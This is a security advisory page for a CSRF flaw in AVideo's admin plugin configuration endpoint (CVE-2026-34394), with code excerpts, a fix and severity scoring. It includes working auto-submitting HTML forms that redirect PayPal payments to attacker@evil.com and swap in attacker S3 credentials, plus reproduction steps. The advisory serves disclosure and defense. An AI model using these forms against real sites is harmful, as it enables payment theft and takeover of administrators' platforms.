Advisory details:
github_osv / GHSA-4wwr-7h7c-chqr
| Advisory ID | github_osv/GHSA-4wwr-7h7c-chqr |
| Aliases |
CVE-2026-34394
|
| Summary | AVideo's CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking ## Summary AVideo's admin plugin configuration endpoint (`admin/save.json.php`) lacks any CSRF token validation. There is no call to `isGlobalTokenValid()` or `verifyToken()` before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session. Because the `plugins` table is included in the `ignoreTableSecurityCheck()` array in `objects/Object.php`, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more. ## Details The session cookie configuration in `objects/include_config.php` at line 135 explicitly weakens the default browser protections: ```php // objects/include_config.php:135 ini_set('session.cookie_samesite', 'None'); ``` This means cookies are attached to all cross-origin requests, making CSRF attacks trivial. The save endpoint in `admin/save.json.php` directly processes POST data without any token verification: ```php // admin/save.json.php $pluginName = $_POST['pluginName']; $pluginValues = $_POST; // ... $pluginDO->$key = $pluginValues[$key]; $p->setObject_data(json_encode($pluginDO)); $p->save(); ``` The `plugins` table is explicitly exempted from security checks in `objects/Object.php` at line 529: ```php // objects/Object.php:529 static function ignoreTableSecurityCheck() { return ['plugins', /* ... other tables ... */]; } ``` Even the ORM-level protections that exist for other tables do not apply to plugin configuration writes. ## Proof of Concept Host the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address: ```html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="pluginName" value="PayPerView" /> <input type="hidden" name="paypalReceiverEmail" value="attacker@evil.com" /> </form> <script> document.getElementById('csrf').submit(); </script> </body> </html> ``` To overwrite S3 storage credentials instead: ```html <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="pluginName" value="AWS_S3" /> <input type="hidden" name="region" value="us-east-1" /> <input type="hidden" name="bucket" value="attacker-bucket" /> <input type="hidden" name="key" value="ATTACKER_KEY_ID" /> <input type="hidden" name="secret" value="ATTACKER_SECRET" /> </form> ``` Reproduction steps: 1. Log in to AVideo as an administrator. 2. In a separate browser tab, open the attacker's HTML page. 3. The form auto-submits, overwriting the target plugin configuration. 4. Verify the change by navigating to the plugin settings page in the admin panel. ## Impact An attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include: - **Payment hijacking**: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker. - **Credential theft**: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage. - **Authentication bypass**: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers. - **Backdoor installation**: Enable and configure plugins to introduce persistent access. This is a full platform takeover with zero user interaction beyond a single page visit. - **CWE**: CWE-352 (Cross-Site Request Forgery) ## Recommended Fix Add CSRF token validation at `admin/save.json.php:10`, immediately after the admin check: ```php // admin/save.json.php:10 if (!isGlobalTokenValid()) { die('{"error":"Invalid CSRF token"}'); } ``` --- *Found by [aisafe.io](https://aisafe.io)* |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.3 |
| Risk | 3.6 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 8.1 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-4wwr-7h7c-chqr/GHSA-4wwr-7h7c-chqr.json |
| generic_textual | HIGH |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/WWBN/AVideo | ||
| CVE-2026-34394 | https://nvd.nist.gov/vuln/detail/CVE-2026-34394 | |
| GHSA-4wwr-7h7c-chqr | Other | https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-01T13:40:07Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/34xxx/CVE-2026-34394.json
Source Advisory: vulnrichment/CVE-2026-34394
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]